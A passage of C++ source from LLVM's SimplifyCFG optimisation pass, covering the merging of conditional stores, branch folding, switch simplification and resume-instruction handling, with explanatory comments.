const DataLayout &DL) {
auto IsaBitcastOfPointerType = [](const Instruction &I) {
return Operator::getOpcode(&I) == Instruction::BitCast &&
I.getType()->isPointerTy();
};
// If we're not in aggressive mode, we only optimize if we have some
// confidence that by optimizing we'll allow P and/or Q to be if-converted.
auto IsWorthwhile = [&](BasicBlock *BB) {
if (!BB)
return true;
// Heuristic: if the block can be if-converted/phi-folded and the
// instructions inside are all cheap (arithmetic/GEPs), it's worthwhile to
// thread this store.
unsigned N = 0;
for (auto &I : BB->instructionsWithoutDebug()) {
// Cheap instructions viable for folding.
if (isa<BinaryOperator>(I) || isa<GetElementPtrInst>(I) ||
isa<StoreInst>(I))
++N;
// Free instructions.
else if (I.isTerminator() || IsaBitcastOfPointerType(I))
continue;
else
return false;
}
// The store we want to merge is counted in N, so add 1 to make sure
// we're counting the instructions that would be left.
return N <= (PHINodeFoldingThreshold + 1);
};
if (!MergeCondStoresAggressively &&
(!IsWorthwhile(PTB) || !IsWorthwhile(PFB) || !IsWorthwhile(QTB) ||
!IsWorthwhile(QFB)))
return false;
// For every pointer, there must be exactly two stores, one coming from
// PTB or PFB, and the other from QTB or QFB. We don't support more than one
// store (to any address) in PTB,PFB or QTB,QFB.
// FIXME: We could relax this restriction with a bit more work and performance
// testing.
StoreInst *PStore = findUniqueStoreInBlocks(PTB, PFB);
StoreInst *QStore = findUniqueStoreInBlocks(QTB, QFB);
if (!PStore || !QStore)
return false;
// Now check the stores are compatible.
if (!QStore->isUnordered() || !PStore->isUnordered())
return false;
// Check that sinking the store won't cause program behavior changes. Sinking
// the store out of the Q blocks won't change any behavior as we're sinking
// from a block to its unconditional successor. But we're moving a store from
// the P blocks down through the middle block (QBI) and past both QFB and QTB.
// So we need to check that there are no aliasing loads or stores in
// QBI, QTB and QFB. We also need to check there are no conflicting memory
// operations between PStore and the end of its parent block.
//
// The ideal way to do this is to query AliasAnalysis, but we don't
// preserve AA currently so that is dangerous. Be super safe and just
// check there are no other memory operations at all.
for (auto &I : *QFB->getSinglePredecessor())
if (I.mayReadOrWriteMemory())
return false;
for (auto &I : *QFB)
if (&I != QStore && I.mayReadOrWriteMemory())
return false;
if (QTB)
for (auto &I : *QTB)
if (&I != QStore && I.mayReadOrWriteMemory())
return false;
for (auto I = BasicBlock::iterator(PStore), E = PStore->getParent()->end();
I != E; ++I)
if (&*I != PStore && I->mayReadOrWriteMemory())
return false;
// If PostBB has more than two predecessors, we need to split it so we can
// sink the store.
if (std::next(pred_begin(PostBB), 2) != pred_end(PostBB)) {
// We know that QFB's only successor is PostBB. And QFB has a single
// predecessor. If QTB exists, then its only successor is also PostBB.
// If QTB does not exist, then QFB's only predecessor has a conditional
// branch to QFB and PostBB.
BasicBlock *TruePred = QTB ? QTB : QFB->getSinglePredecessor();
BasicBlock *NewBB = SplitBlockPredecessors(PostBB, { QFB, TruePred},
"condstore.split");
if (!NewBB)
return false;
PostBB = NewBB;
}
// OK, we're going to sink the stores to PostBB. The store has to be
// conditional though, so first create the predicate.
Value *PCond = cast<BranchInst>(PFB->getSinglePredecessor()->getTerminator())
->getCondition();
Value *QCond = cast<BranchInst>(QFB->getSinglePredecessor()->getTerminator())
->getCondition();
Value *PPHI = ensureValueAvailableInSuccessor(PStore->getValueOperand(),
PStore->getParent());
Value *QPHI = ensureValueAvailableInSuccessor(QStore->getValueOperand(),
QStore->getParent(), PPHI);
IRBuilder<> QB(&*PostBB->getFirstInsertionPt());
Value *PPred = PStore->getParent() == PTB ? PCond : QB.CreateNot(PCond);
Value *QPred = QStore->getParent() == QTB ? QCond : QB.CreateNot(QCond);
if (InvertPCond)
PPred = QB.CreateNot(PPred);
if (InvertQCond)
QPred = QB.CreateNot(QPred);
Value *CombinedPred = QB.CreateOr(PPred, QPred);
auto *T =
SplitBlockAndInsertIfThen(CombinedPred, &*QB.GetInsertPoint(), false);
QB.SetInsertPoint(T);
StoreInst *SI = cast<StoreInst>(QB.CreateStore(QPHI, Address));
AAMDNodes AAMD;
PStore->getAAMetadata(AAMD, /*Merge=*/false);
PStore->getAAMetadata(AAMD, /*Merge=*/true);
SI->setAAMetadata(AAMD);
unsigned PAlignment = PStore->getAlignment();
unsigned QAlignment = QStore->getAlignment();
unsigned TypeAlignment =
DL.getABITypeAlignment(SI->getValueOperand()->getType());
unsigned MinAlignment;
unsigned MaxAlignment;
std::tie(MinAlignment, MaxAlignment) = std::minmax(PAlignment, QAlignment);
// Choose the minimum alignment. If we could prove both stores execute, we
// could use biggest one. In this case, though, we only know that one of the
// stores executes. And we don't know it's safe to take the alignment from a
// store that doesn't execute.
if (MinAlignment != 0) {
// Choose the minimum of all non-zero alignments.
SI->setAlignment(MinAlignment);
} else if (MaxAlignment != 0) {
// Choose the minimal alignment between the non-zero alignment and the ABI
// default alignment for the type of the stored value.
SI->setAlignment(std::min(MaxAlignment, TypeAlignment));
} else {
// If both alignments are zero, use ABI default alignment for the type of
// the stored value.
SI->setAlignment(TypeAlignment);
}
QStore->eraseFromParent();
PStore->eraseFromParent();
return true;
}
static bool mergeConditionalStores(BranchInst *PBI, BranchInst *QBI,
const DataLayout &DL) {
// The intention here is to find diamonds or triangles (see below) where each
// conditional block contains a store to the same address. Both of these
// stores are conditional, so they can't be unconditionally sunk. But it may
// be profitable to speculatively sink the stores into one merged store at the
// end, and predicate the merged store on the union of the two conditions of
// PBI and QBI.
//
// This can reduce the number of stores executed if both of the conditions are
// true, and can allow the blocks to become small enough to be if-converted.
// This optimization will also chain, so that ladders of test-and-set
// sequences can be if-converted away.
//
// We only deal with simple diamonds or triangles:
//
// PBI or PBI or a combination of the two
// / \ | \
// PTB PFB | PFB
// \ / | /
// QBI QBI
// / \ | \
// QTB QFB | QFB
// \ / | /
// PostBB PostBB
//
// We model triangles as a type of diamond with a nullptr "true" block.
// Triangles are canonicalized so that the fallthrough edge is represented by
// a true condition, as in the diagram above.
BasicBlock *PTB = PBI->getSuccessor(0);
BasicBlock *PFB = PBI->getSuccessor(1);
BasicBlock *QTB = QBI->getSuccessor(0);
BasicBlock *QFB = QBI->getSuccessor(1);
BasicBlock *PostBB = QFB->getSingleSuccessor();
// Make sure we have a good guess for PostBB. If QTB's only successor is
// QFB, then QFB is a better PostBB.
if (QTB->getSingleSuccessor() == QFB)
PostBB = QFB;
// If we couldn't find a good PostBB, stop.
if (!PostBB)
return false;
bool InvertPCond = false, InvertQCond = false;
// Canonicalize fallthroughs to the true branches.
if (PFB == QBI->getParent()) {
std::swap(PFB, PTB);
InvertPCond = true;
}
if (QFB == PostBB) {
std::swap(QFB, QTB);
InvertQCond = true;
}
// From this point on we can assume PTB or QTB may be fallthroughs but PFB
// and QFB may not. Model fallthroughs as a nullptr block.
if (PTB == QBI->getParent())
PTB = nullptr;
if (QTB == PostBB)
QTB = nullptr;
// Legality bailouts. We must have at least the non-fallthrough blocks and
// the post-dominating block, and the non-fallthroughs must only have one
// predecessor.
auto HasOnePredAndOneSucc = [](BasicBlock *BB, BasicBlock *P, BasicBlock *S) {
return BB->getSinglePredecessor() == P && BB->getSingleSuccessor() == S;
};
if (!HasOnePredAndOneSucc(PFB, PBI->getParent(), QBI->getParent()) ||
!HasOnePredAndOneSucc(QFB, QBI->getParent(), PostBB))
return false;
if ((PTB && !HasOnePredAndOneSucc(PTB, PBI->getParent(), QBI->getParent())) ||
(QTB && !HasOnePredAndOneSucc(QTB, QBI->getParent(), PostBB)))
return false;
if (!QBI->getParent()->hasNUses(2))
return false;
// OK, this is a sequence of two diamonds or triangles.
// Check if there are stores in PTB or PFB that are repeated in QTB or QFB.
SmallPtrSet<Value *, 4> PStoreAddresses, QStoreAddresses;
for (auto *BB : {PTB, PFB}) {
if (!BB)
continue;
for (auto &I : *BB)
if (StoreInst *SI = dyn_cast<StoreInst>(&I))
PStoreAddresses.insert(SI->getPointerOperand());
}
for (auto *BB : {QTB, QFB}) {
if (!BB)
continue;
for (auto &I : *BB)
if (StoreInst *SI = dyn_cast<StoreInst>(&I))
QStoreAddresses.insert(SI->getPointerOperand());
}
set_intersect(PStoreAddresses, QStoreAddresses);
// set_intersect mutates PStoreAddresses in place. Rename it here to make it
// clear what it contains.
auto &CommonAddresses = PStoreAddresses;
bool Changed = false;
for (auto *Address : CommonAddresses)
Changed |= mergeConditionalStoreToAddress(
PTB, PFB, QTB, QFB, PostBB, Address, InvertPCond, InvertQCond, DL);
return Changed;
}
/// If we have a conditional branch as a predecessor of another block,
/// this function tries to simplify it. We know
/// that PBI and BI are both conditional branches, and BI is in one of the
/// successor blocks of PBI - PBI branches to BI.
static bool SimplifyCondBranchToCondBranch(BranchInst *PBI, BranchInst *BI,
const DataLayout &DL) {
assert(PBI->isConditional() && BI->isConditional());
BasicBlock *BB = BI->getParent();
// If this block ends with a branch instruction, and if there is a
// predecessor that ends on a branch of the same condition, make
// this conditional branch redundant.
if (PBI->getCondition() == BI->getCondition() &&
PBI->getSuccessor(0) != PBI->getSuccessor(1)) {
// Okay, the outcome of this conditional branch is statically
// knowable. If this block had a single pred, handle specially.
if (BB->getSinglePredecessor()) {
// Turn this into a branch on constant.
bool CondIsTrue = PBI->getSuccessor(0) == BB;
BI->setCondition(
ConstantInt::get(Type::getInt1Ty(BB->getContext()), CondIsTrue));
return true; // Nuke the branch on constant.
}
// Otherwise, if there are multiple predecessors, insert a PHI that merges
// in the constant and simplify the block result. Subsequent passes of
// simplifycfg will thread the block.
if (BlockIsSimpleEnoughToThreadThrough(BB)) {
pred_iterator PB = pred_begin(BB), PE = pred_end(BB);
PHINode *NewPN = PHINode::Create(
Type::getInt1Ty(BB->getContext()), std::distance(PB, PE),
BI->getCondition()->getName() + ".pr", &BB->front());
// Okay, we're going to insert the PHI node. Since PBI is not the only
// predecessor, compute the PHI'd conditional value for all of the preds.
// Any predecessor where the condition is not computable we keep symbolic.
for (pred_iterator PI = PB; PI != PE; ++PI) {
BasicBlock *P = *PI;
if ((PBI = dyn_cast<BranchInst>(P->getTerminator())) && PBI != BI &&
PBI->isConditional() && PBI->getCondition() == BI->getCondition() &&
PBI->getSuccessor(0) != PBI->getSuccessor(1)) {
bool CondIsTrue = PBI->getSuccessor(0) == BB;
NewPN->addIncoming(
ConstantInt::get(Type::getInt1Ty(BB->getContext()), CondIsTrue),
P);
} else {
NewPN->addIncoming(BI->getCondition(), P);
}
}
BI->setCondition(NewPN);
return true;
}
}
if (auto *CE = dyn_cast<ConstantExpr>(BI->getCondition()))
if (CE->canTrap())
return false;
// If both branches are conditional and both contain stores to the same
// address, remove the stores from the conditionals and create a conditional
// merged store at the end.
if (MergeCondStores && mergeConditionalStores(PBI, BI, DL))
return true;
// If this is a conditional branch in an empty block, and if any
// predecessors are a conditional branch to one of our destinations,
// fold the conditions into logical ops and one cond br.
// Ignore dbg intrinsics.
if (&*BB->instructionsWithoutDebug().begin() != BI)
return false;
int PBIOp, BIOp;
if (PBI->getSuccessor(0) == BI->getSuccessor(0)) {
PBIOp = 0;
BIOp = 0;
} else if (PBI->getSuccessor(0) == BI->getSuccessor(1)) {
PBIOp = 0;
BIOp = 1;
} else if (PBI->getSuccessor(1) == BI->getSuccessor(0)) {
PBIOp = 1;
BIOp = 0;
} else if (PBI->getSuccessor(1) == BI->getSuccessor(1)) {
PBIOp = 1;
BIOp = 1;
} else {
return false;
}
// Check to make sure that the other destination of this branch
// isn't BB itself. If so, this is an infinite loop that will
// keep getting unwound.
if (PBI->getSuccessor(PBIOp) == BB)
return false;
// Do not perform this transformation if it would require
// insertion of a large number of select instructions. For targets
// without predication/cmovs, this is a big pessimization.
// Also do not perform this transformation if any phi node in the common
// destination block can trap when reached by BB or PBB (PR17073). In that
// case, it would be unsafe to hoist the operation into a select instruction.
BasicBlock *CommonDest = PBI->getSuccessor(PBIOp);
unsigned NumPhis = 0;
for (BasicBlock::iterator II = CommonDest->begin(); isa<PHINode>(II);
++II, ++NumPhis) {
if (NumPhis > 2) // Disable this xform.
return false;
PHINode *PN = cast<PHINode>(II);
Value *BIV = PN->getIncomingValueForBlock(BB);
if (ConstantExpr *CE = dyn_cast<ConstantExpr>(BIV))
if (CE->canTrap())
return false;
unsigned PBBIdx = PN->getBasicBlockIndex(PBI->getParent());
Value *PBIV = PN->getIncomingValue(PBBIdx);
if (ConstantExpr *CE = dyn_cast<ConstantExpr>(PBIV))
if (CE->canTrap())
return false;
}
// Finally, if everything is ok, fold the branches to logical ops.
BasicBlock *OtherDest = BI->getSuccessor(BIOp ^ 1);
LLVM_DEBUG(dbgs() << "FOLDING BRs:" << *PBI->getParent()
<< "AND: " << *BI->getParent());
// If OtherDest *is* BB, then BB is a basic block with a single conditional
// branch in it, where one edge (OtherDest) goes back to itself but the other
// exits. We don't *know* that the program avoids the infinite loop
// (even though that seems likely). If we do this xform naively, we'll end up
// recursively unpeeling the loop. Since we know that (after the xform is
// done) that the block *is* infinite if reached, we just make it an obviously
// infinite loop with no cond branch.
if (OtherDest == BB) {
// Insert it at the end of the function, because it's either code,
// or it won't matter if it's hot. :)
BasicBlock *InfLoopBlock =
BasicBlock::Create(BB->getContext(), "infloop", BB->getParent());
BranchInst::Create(InfLoopBlock, InfLoopBlock);
OtherDest = InfLoopBlock;
}
LLVM_DEBUG(dbgs() << *PBI->getParent()->getParent());
// BI may have other predecessors. Because of this, we leave
// it alone, but modify PBI.
// Make sure we get to CommonDest on True&True directions.
Value *PBICond = PBI->getCondition();
IRBuilder<NoFolder> Builder(PBI);
if (PBIOp)
PBICond = Builder.CreateNot(PBICond, PBICond->getName() + ".not");
Value *BICond = BI->getCondition();
if (BIOp)
BICond = Builder.CreateNot(BICond, BICond->getName() + ".not");
// Merge the conditions.
Value *Cond = Builder.CreateOr(PBICond, BICond, "brmerge");
// Modify PBI to branch on the new condition to the new dests.
PBI->setCondition(Cond);
PBI->setSuccessor(0, CommonDest);
PBI->setSuccessor(1, OtherDest);
// Update branch weight for PBI.
uint64_t PredTrueWeight, PredFalseWeight, SuccTrueWeight, SuccFalseWeight;
uint64_t PredCommon, PredOther, SuccCommon, SuccOther;
bool HasWeights =
extractPredSuccWeights(PBI, BI, PredTrueWeight, PredFalseWeight,
SuccTrueWeight, SuccFalseWeight);
if (HasWeights) {
PredCommon = PBIOp ? PredFalseWeight : PredTrueWeight;
PredOther = PBIOp ? PredTrueWeight : PredFalseWeight;
SuccCommon = BIOp ? SuccFalseWeight : SuccTrueWeight;
SuccOther = BIOp ? SuccTrueWeight : SuccFalseWeight;
// The weight to CommonDest should be PredCommon * SuccTotal +
// PredOther * SuccCommon.
// The weight to OtherDest should be PredOther * SuccOther.
uint64_t NewWeights[2] = {PredCommon * (SuccCommon + SuccOther) +
PredOther * SuccCommon,
PredOther * SuccOther};
// Halve the weights if any of them cannot fit in an uint32_t
FitWeights(NewWeights);
setBranchWeights(PBI, NewWeights[0], NewWeights[1]);
}
// OtherDest may have phi nodes. If so, add an entry from PBI's
// block that are identical to the entries for BI's block.
AddPredecessorToBlock(OtherDest, PBI->getParent(), BB);
// We know that the CommonDest already had an edge from PBI to
// it. If it has PHIs though, the PHIs may have different
// entries for BB and PBI's BB. If so, insert a select to make
// them agree.
for (PHINode &PN : CommonDest->phis()) {
Value *BIV = PN.getIncomingValueForBlock(BB);
unsigned PBBIdx = PN.getBasicBlockIndex(PBI->getParent());
Value *PBIV = PN.getIncomingValue(PBBIdx);
if (BIV != PBIV) {
// Insert a select in PBI to pick the right value.
SelectInst *NV = cast<SelectInst>(
Builder.CreateSelect(PBICond, PBIV, BIV, PBIV->getName() + ".mux"));
PN.setIncomingValue(PBBIdx, NV);
// Although the select has the same condition as PBI, the original branch
// weights for PBI do not apply to the new select because the select's
// 'logical' edges are incoming edges of the phi that is eliminated, not
// the outgoing edges of PBI.
if (HasWeights) {
uint64_t PredCommon = PBIOp ? PredFalseWeight : PredTrueWeight;
uint64_t PredOther = PBIOp ? PredTrueWeight : PredFalseWeight;
uint64_t SuccCommon = BIOp ? SuccFalseWeight : SuccTrueWeight;
uint64_t SuccOther = BIOp ? SuccTrueWeight : SuccFalseWeight;
// The weight to PredCommonDest should be PredCommon * SuccTotal.
// The weight to PredOtherDest should be PredOther * SuccCommon.
uint64_t NewWeights[2] = {PredCommon * (SuccCommon + SuccOther),
PredOther * SuccCommon};
FitWeights(NewWeights);
setBranchWeights(NV, NewWeights[0], NewWeights[1]);
}
}
}
LLVM_DEBUG(dbgs() << "INTO: " << *PBI->getParent());
LLVM_DEBUG(dbgs() << *PBI->getParent()->getParent());
// This basic block is probably dead. We know it has at least
// one fewer predecessor.
return true;
}
// Simplifies a terminator by replacing it with a branch to TrueBB if Cond is
// true or to FalseBB if Cond is false.
// Takes care of updating the successors and removing the old terminator.
// Also makes sure not to introduce new successors by assuming that edges to
// non-successor TrueBBs and FalseBBs aren't reachable.
static bool SimplifyTerminatorOnSelect(Instruction *OldTerm, Value *Cond,
BasicBlock *TrueBB, BasicBlock *FalseBB,
uint32_t TrueWeight,
uint32_t FalseWeight) {
// Remove any superfluous successor edges from the CFG.
// First, figure out which successors to preserve.
// If TrueBB and FalseBB are equal, only try to preserve one copy of that
// successor.
BasicBlock *KeepEdge1 = TrueBB;
BasicBlock *KeepEdge2 = TrueBB != FalseBB ? FalseBB : nullptr;
// Then remove the rest.
for (BasicBlock *Succ : successors(OldTerm)) {
// Make sure only to keep exactly one copy of each edge.
if (Succ == KeepEdge1)
KeepEdge1 = nullptr;
else if (Succ == KeepEdge2)
KeepEdge2 = nullptr;
else
Succ->removePredecessor(OldTerm->getParent(),
/*KeepOneInputPHIs=*/true);
}
IRBuilder<> Builder(OldTerm);
Builder.SetCurrentDebugLocation(OldTerm->getDebugLoc());
// Insert an appropriate new terminator.
if (!KeepEdge1 && !KeepEdge2) {
if (TrueBB == FalseBB)
// We were only looking for one successor, and it was present.
// Create an unconditional branch to it.
Builder.CreateBr(TrueBB);
else {
// We found both of the successors we were looking for.
// Create a conditional branch sharing the condition of the select.
BranchInst *NewBI = Builder.CreateCondBr(Cond, TrueBB, FalseBB);
if (TrueWeight != FalseWeight)
setBranchWeights(NewBI, TrueWeight, FalseWeight);
}
} else if (KeepEdge1 && (KeepEdge2 || TrueBB == FalseBB)) {
// Neither of the selected blocks were successors, so this
// terminator must be unreachable.
new UnreachableInst(OldTerm->getContext(), OldTerm);
} else {
// One of the selected values was a successor, but the other wasn't.
// Insert an unconditional branch to the one that was found;
// the edge to the one that wasn't must be unreachable.
if (!KeepEdge1)
// Only TrueBB was found.
Builder.CreateBr(TrueBB);
else
// Only FalseBB was found.
Builder.CreateBr(FalseBB);
}
EraseTerminatorAndDCECond(OldTerm);
return true;
}
// Replaces
// (switch (select cond, X, Y)) on constant X, Y
// with a branch - conditional if X and Y lead to distinct BBs,
// unconditional otherwise.
static bool SimplifySwitchOnSelect(SwitchInst *SI, SelectInst *Select) {
// Check for constant integer values in the select.
ConstantInt *TrueVal = dyn_cast<ConstantInt>(Select->getTrueValue());
ConstantInt *FalseVal = dyn_cast<ConstantInt>(Select->getFalseValue());
if (!TrueVal || !FalseVal)
return false;
// Find the relevant condition and destinations.
Value *Condition = Select->getCondition();
BasicBlock *TrueBB = SI->findCaseValue(TrueVal)->getCaseSuccessor();
BasicBlock *FalseBB = SI->findCaseValue(FalseVal)->getCaseSuccessor();
// Get weight for TrueBB and FalseBB.
uint32_t TrueWeight = 0, FalseWeight = 0;
SmallVector<uint64_t, 8> Weights;
bool HasWeights = HasBranchWeights(SI);
if (HasWeights) {
GetBranchWeights(SI, Weights);
if (Weights.size() == 1 + SI->getNumCases()) {
TrueWeight =
(uint32_t)Weights[SI->findCaseValue(TrueVal)->getSuccessorIndex()];
FalseWeight =
(uint32_t)Weights[SI->findCaseValue(FalseVal)->getSuccessorIndex()];
}
}
// Perform the actual simplification.
return SimplifyTerminatorOnSelect(SI, Condition, TrueBB, FalseBB, TrueWeight,
FalseWeight);
}
// Replaces
// (indirectbr (select cond, blockaddress(@fn, BlockA),
// blockaddress(@fn, BlockB)))
// with
// (br cond, BlockA, BlockB).
static bool SimplifyIndirectBrOnSelect(IndirectBrInst *IBI, SelectInst *SI) {
// Check that both operands of the select are block addresses.
BlockAddress *TBA = dyn_cast<BlockAddress>(SI->getTrueValue());
BlockAddress *FBA = dyn_cast<BlockAddress>(SI->getFalseValue());
if (!TBA || !FBA)
return false;
// Extract the actual blocks.
BasicBlock *TrueBB = TBA->getBasicBlock();
BasicBlock *FalseBB = FBA->getBasicBlock();
// Perform the actual simplification.
return SimplifyTerminatorOnSelect(IBI, SI->getCondition(), TrueBB, FalseBB, 0,
0);
}
/// This is called when we find an icmp instruction
/// (a seteq/setne with a constant) as the only instruction in a
/// block that ends with an uncond branch. We are looking for a very specific
/// pattern that occurs when "A == 1 || A == 2 || A == 3" gets simplified. In
/// this case, we merge the first two "or's of icmp" into a switch, but then the
/// default value goes to an uncond block with a seteq in it, we get something
/// like:
///
/// switch i8 %A, label %DEFAULT [ i8 1, label %end i8 2, label %end ]
/// DEFAULT:
/// %tmp = icmp eq i8 %A, 92
/// br label %end
/// end:
/// ... = phi i1 [ true, %entry ], [ %tmp, %DEFAULT ], [ true, %entry ]
///
/// We prefer to split the edge to 'end' so that there is a true/false entry to
/// the PHI, merging the third icmp into the switch.
bool SimplifyCFGOpt::tryToSimplifyUncondBranchWithICmpInIt(
ICmpInst *ICI, IRBuilder<> &Builder) {
BasicBlock *BB = ICI->getParent();
// If the block has any PHIs in it or the icmp has multiple uses, it is too
// complex.
if (isa<PHINode>(BB->begin()) || !ICI->hasOneUse())
return false;
Value *V = ICI->getOperand(0);
ConstantInt *Cst = cast<ConstantInt>(ICI->getOperand(1));
// The pattern we're looking for is where our only predecessor is a switch on
// 'V' and this block is the default case for the switch. In this case we can
// fold the compared value into the switch to simplify things.
BasicBlock *Pred = BB->getSinglePredecessor();
if (!Pred || !isa<SwitchInst>(Pred->getTerminator()))
return false;
SwitchInst *SI = cast<SwitchInst>(Pred->getTerminator());
if (SI->getCondition() != V)
return false;
// If BB is reachable on a non-default case, then we simply know the value of
// V in this block. Substitute it and constant fold the icmp instruction
// away.
if (SI->getDefaultDest() != BB) {
ConstantInt *VVal = SI->findCaseDest(BB);
assert(VVal && "Should have a unique destination value");
ICI->setOperand(0, VVal);
if (Value *V = SimplifyInstruction(ICI, {DL, ICI})) {
ICI->replaceAllUsesWith(V);
ICI->eraseFromParent();
}
// BB is now empty, so it is likely to simplify away.
return requestResimplify();
}
// Ok, the block is reachable from the default dest. If the constant we're
// comparing exists in one of the other edges, then we can constant fold ICI
// and zap it.
if (SI->findCaseValue(Cst) != SI->case_default()) {
Value *V;
if (ICI->getPredicate() == ICmpInst::ICMP_EQ)
V = ConstantInt::getFalse(BB->getContext());
else
V = ConstantInt::getTrue(BB->getContext());
ICI->replaceAllUsesWith(V);
ICI->eraseFromParent();
// BB is now empty, so it is likely to simplify away.
return requestResimplify();
}
// The use of the icmp has to be in the 'end' block, by the only PHI node in
// the block.
BasicBlock *SuccBlock = BB->getTerminator()->getSuccessor(0);
PHINode *PHIUse = dyn_cast<PHINode>(ICI->user_back());
if (PHIUse == nullptr || PHIUse != &SuccBlock->front() ||
isa<PHINode>(++BasicBlock::iterator(PHIUse)))
return false;
// If the icmp is a SETEQ, then the default dest gets false, the new edge gets
// true in the PHI.
Constant *DefaultCst = ConstantInt::getTrue(BB->getContext());
Constant *NewCst = ConstantInt::getFalse(BB->getContext());
if (ICI->getPredicate() == ICmpInst::ICMP_EQ)
std::swap(DefaultCst, NewCst);
// Replace ICI (which is used by the PHI for the default value) with true or
// false depending on if it is EQ or NE.
ICI->replaceAllUsesWith(DefaultCst);
ICI->eraseFromParent();
// Okay, the switch goes to this block on a default value. Add an edge from
// the switch to the merge point on the compared value.
BasicBlock *NewBB =
BasicBlock::Create(BB->getContext(), "switch.edge", BB->getParent(), BB);
{
SwitchInstProfUpdateWrapper SIW(*SI);
auto W0 = SIW.getSuccessorWeight(0);
SwitchInstProfUpdateWrapper::CaseWeightOpt NewW;
if (W0) {
NewW = ((uint64_t(*W0) + 1) >> 1);
SIW.setSuccessorWeight(0, *NewW);
}
SIW.addCase(Cst, NewBB, NewW);
}
// NewBB branches to the phi block, add the uncond branch and the phi entry.
Builder.SetInsertPoint(NewBB);
Builder.SetCurrentDebugLocation(SI->getDebugLoc());
Builder.CreateBr(SuccBlock);
PHIUse->addIncoming(NewCst, NewBB);
return true;
}
/// The specified branch is a conditional branch.
/// Check to see if it is branching on an or/and chain of icmp instructions, and
/// fold it into a switch instruction if so.
static bool SimplifyBranchOnICmpChain(BranchInst *BI, IRBuilder<> &Builder,
const DataLayout &DL) {
Instruction *Cond = dyn_cast<Instruction>(BI->getCondition());
if (!Cond)
return false;
// Change br (X == 0 | X == 1), T, F into a switch instruction.
// If this is a bunch of seteq's or'd together, or if it's a bunch of
// 'setne's and'ed together, collect them.
// Try to gather values from a chain of and/or to be turned into a switch
ConstantComparesGatherer ConstantCompare(Cond, DL);
// Unpack the result
SmallVectorImpl<ConstantInt *> &Values = ConstantCompare.Vals;
Value *CompVal = ConstantCompare.CompValue;
unsigned UsedICmps = ConstantCompare.UsedICmps;
Value *ExtraCase = ConstantCompare.Extra;
// If we didn't have a multiply compared value, fail.
if (!CompVal)
return false;
// Avoid turning single icmps into a switch.
if (UsedICmps <= 1)
return false;
bool TrueWhenEqual = (Cond->getOpcode() == Instruction::Or);
// There might be duplicate constants in the list, which the switch
// instruction can't handle, remove them now.
array_pod_sort(Values.begin(), Values.end(), ConstantIntSortPredicate);
Values.erase(std::unique(Values.begin(), Values.end()), Values.end());
// If Extra was used, we require at least two switch values to do the
// transformation. A switch with one value is just a conditional branch.
if (ExtraCase && Values.size() < 2)
return false;
// TODO: Preserve branch weight metadata, similarly to how
// FoldValueComparisonIntoPredecessors preserves it.
// Figure out which block is which destination.
BasicBlock *DefaultBB = BI->getSuccessor(1);
BasicBlock *EdgeBB = BI->getSuccessor(0);
if (!TrueWhenEqual)
std::swap(DefaultBB, EdgeBB);
BasicBlock *BB = BI->getParent();
LLVM_DEBUG(dbgs() << "Converting 'icmp' chain with " << Values.size()
<< " cases into SWITCH. BB is:\n"
<< *BB);
// If there are any extra values that couldn't be folded into the switch
// then we evaluate them with an explicit branch first. Split the block
// right before the condbr to handle it.
if (ExtraCase) {
BasicBlock *NewBB =
BB->splitBasicBlock(BI->getIterator(), "switch.early.test");
// Remove the uncond branch added to the old block.
Instruction *OldTI = BB->getTerminator();
Builder.SetInsertPoint(OldTI);
if (TrueWhenEqual)
Builder.CreateCondBr(ExtraCase, EdgeBB, NewBB);
else
Builder.CreateCondBr(ExtraCase, NewBB, EdgeBB);
OldTI->eraseFromParent();
// If there are PHI nodes in EdgeBB, then we need to add a new entry to them
// for the edge we just added.
AddPredecessorToBlock(EdgeBB, BB, NewBB);
LLVM_DEBUG(dbgs() << " ** 'icmp' chain unhandled condition: " << *ExtraCase
<< "\nEXTRABB = " << *BB);
BB = NewBB;
}
Builder.SetInsertPoint(BI);
// Convert pointer to int before we switch.
if (CompVal->getType()->isPointerTy()) {
CompVal = Builder.CreatePtrToInt(
CompVal, DL.getIntPtrType(CompVal->getType()), "magicptr");
}
// Create the new switch instruction now.
SwitchInst *New = Builder.CreateSwitch(CompVal, DefaultBB, Values.size());
// Add all of the 'cases' to the switch instruction.
for (unsigned i = 0, e = Values.size(); i != e; ++i)
New->addCase(Values[i], EdgeBB);
// We added edges from PI to the EdgeBB. As such, if there were any
// PHI nodes in EdgeBB, they need entries to be added corresponding to
// the number of edges added.
for (BasicBlock::iterator BBI = EdgeBB->begin(); isa<PHINode>(BBI); ++BBI) {
PHINode *PN = cast<PHINode>(BBI);
Value *InVal = PN->getIncomingValueForBlock(BB);
for (unsigned i = 0, e = Values.size() - 1; i != e; ++i)
PN->addIncoming(InVal, BB);
}
// Erase the old branch instruction.
EraseTerminatorAndDCECond(BI);
LLVM_DEBUG(dbgs() << " ** 'icmp' chain result is:\n" << *BB << '\n');
return true;
}
bool SimplifyCFGOpt::SimplifyResume(ResumeInst *RI, IRBuilder<> &Builder) {
if (isa<PHINode>(RI->getValue()))
return SimplifyCommonResume(RI);
else if (isa<LandingPadInst>(RI->getParent()->getFirstNonPHI()) &&
RI->getValue() == RI->getParent()->getFirstNonPHI())
// The resume must unwind the exception that caused control to branch here.
return SimplifySingleResume(RI);
return false;
}
// Simplify resume that is shared by several landing pads (phi of landing pad).
bool SimplifyCFGOpt::SimplifyCommonResume(ResumeInst *RI) {
BasicBlock *BB = RI->getParent();
// Check that there are no other instructions except for debug intrinsics
// between the phi of landing pads (RI->getValue()) and resume instruction.
BasicBlock::iterator I = cast<Instruction>(RI->getValue())->getIterator(),
E = RI->getIterator();
while (++I != E)
if (!isa<DbgInfoIntrinsic>(I))
return false;
SmallSetVector<BasicBlock *, 4> TrivialUnwindBlocks;
auto *PhiLPInst = cast<PHINode>(RI->getValue());
// Check incoming blocks to see if any of them are trivial.
for (unsigned Idx = 0, End = PhiLPInst->getNumIncomingValues(); Idx != End;
Idx++) {
auto *IncomingBB = PhiLPInst->getIncomingBlock(Idx);
auto *IncomingValue = PhiLPInst->getIncomingValue(Idx);
// If the block has other successors, we can not delete it because
// it has other dependents.
if (IncomingBB->getUniqueSuccessor() != BB)
continue;
auto *LandingPad = dyn_cast<LandingPadInst>(IncomingBB->getFirstNonPHI());
// Not the landing pad that caused the control to branch here.
if (IncomingValue != LandingPad)
continue;
bool isTrivial = true;
I = IncomingBB->getFirstNonPHI()->getIterator();
E = IncomingBB->getTerminator()->getIterator();
while (++I != E)
if (!isa<DbgInfoIntrinsic>(I)) {
isTrivial = false;
break;
}
if (isTrivial)
TrivialUnwindBlocks.insert(IncomingBB);
}
